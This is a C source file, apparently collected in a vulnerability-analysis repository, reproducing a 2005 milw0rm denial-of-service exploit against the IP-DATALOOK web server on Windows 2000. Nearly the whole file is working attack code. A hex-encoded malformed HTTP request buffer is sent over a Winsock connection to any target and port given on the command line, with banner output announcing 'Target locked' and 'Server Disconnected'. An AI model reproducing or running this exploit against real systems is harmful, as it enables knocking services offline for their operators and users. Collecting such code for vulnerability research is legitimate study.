lilbool/vuln-code-analysis

1/*

2

3 IP-DATALOOK Local DoS Exploit

4---------------------------------

5INFGP - Hacking&security Research

6

7Resolve host...[OK]

8 [+] Connecting...[OK]

9Target locked

10Sending bad procedure...[OK]

11 [*] Server Disconnected!

12

13 Tested on Windows2000 SP4

14 Infos: infamous.2hell.com / basher13@linuxmail.org

15

16*/

17

18#include string.h

19#include winsock2.h

20#include stdio.h

21

22#pragma comment(lib, "ws2_32.lib")

23

24char doscore[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

25"\x3f\x3f\x3f\x3f\x3f\x2e\x48\x54\x4d\x4c\x3f\x74\x65\x73\x74\x76"

26"\x61\x72\x69\x61\x62\x6c\x65\x3d\x26\x6e\x65\x78\x74\x74\x65\x73"

27"\x74\x76\x61\x72\x69\x61\x62\x6c\x65\x3d\x67\x69\x66\x20\x48\x54"

28"\x54\x50\x2f\x31\x2e\x31\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20"

29"\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"

30"\x2f\x62\x6f\x62\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70"

31"\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78"

32"\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63"

33"\x6f\x64\x65\x64\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a"

34"\x20\x4b\x65\x65\x70\x2d\x41\x6c\x69\x76\x65\x0a\x43\x6f\x6f\x6b"

35"\x69\x65\x3a\x20\x56\x41\x52\x49\x41\x42\x4c\x45\x3d\x53\x45\x43"

36"\x55\x52\x49\x54\x59\x2d\x50\x52\x4f\x54\x4f\x43\x4f\x4c\x53\x3b"

37"\x20\x70\x61\x74\x68\x3d\x2f\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"

38"\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37\x36"

39"\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20\x4c"

40"\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36\x38"

41"\x36\x29\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72\x65\x73"

42"\x75\x6c\x74\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63\x61\x6c\x68"

43"\x6f\x73\x74\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x6c\x65\x6e\x67"

44"\x74\x68\x3a\x20\x20\x20\x20\x20\x35\x31\x33\x0a\x41\x63\x63\x65"

45"\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20\x69"

46"\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c\x20"

47"\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67"

48"\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f\x70"

49"\x6e\x67\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69"

50"\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0a\x41\x63\x63\x65\x70\x74\x2d"

51"\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x0a\x41\x63\x63"

52"\x65\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f"

53"\x2d\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0a"

54"\x0a\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x41"

55"\x69\x6d\x61\x67\x65\r\n";

56

57int main(int argc, char *argv[])

58{

59WSADATA wsaData;

60WORD wVersionRequested;

61struct hostent *pTarget;

62struct sockaddr_in sock;

63char *target;

64int port,bufsize;

65SOCKET inetdos;

66

67if (argc < 2)

68{

69printf(" \n", argv[0]);

70printf("       IP-DATALOOK Local DoS Exploit \n", argv[0]);

71printf("  -------------------------------------\n", argv[0]);

72printf("    INFGP - Hacking&Security Research\n\n", argv[0]);

73printf("[-]Usage: %s [target] [port]\n", argv[0]);

74printf("[?]Exam: localhost 80\n", argv[0]);

75exit(1);

76}

77

78wVersionRequested = MAKEWORD(1, 1);

79if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

80

81target = argv[1];

82port = 80;

83

84if (argc >= 3) port = atoi(argv[2]);

85bufsize = 1024;

86if (argc >= 4) bufsize = atoi(argv[3]);

87

88inetdos = socket(AF_INET, SOCK_STREAM, 0);

89if(inetdos==INVALID_SOCKET)

90{

91printf("Socket ERROR \n");

92exit(1);

93}

94

95printf("Resolve host... ");

96if ((pTarget = gethostbyname(target)) == NULL)

97{

98printf("FAILED \n", argv[0]);

99exit(1);

100}

101printf("[OK]\n ");

102memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);

103sock.sin_family = AF_INET;

104sock.sin_port = htons((USHORT)port);

105

106printf("[+] Connecting... ");

107if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))

108{

109printf("FAILED\n");

110exit(1);

111}

112printf("[OK]\n");

113printf("Target locked\n");

114printf("Sending bad procedure... ");

115if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)

116{

117printf("ERROR\n");

118closesocket(inetdos);

119exit(1);

120}

121printf("[OK]\n ");

122printf("[+] Server Disconnected!\n");

123closesocket(inetdos);

124WSACleanup();

125return 0;

126}

127

128// milw0rm.com [2005-06-25]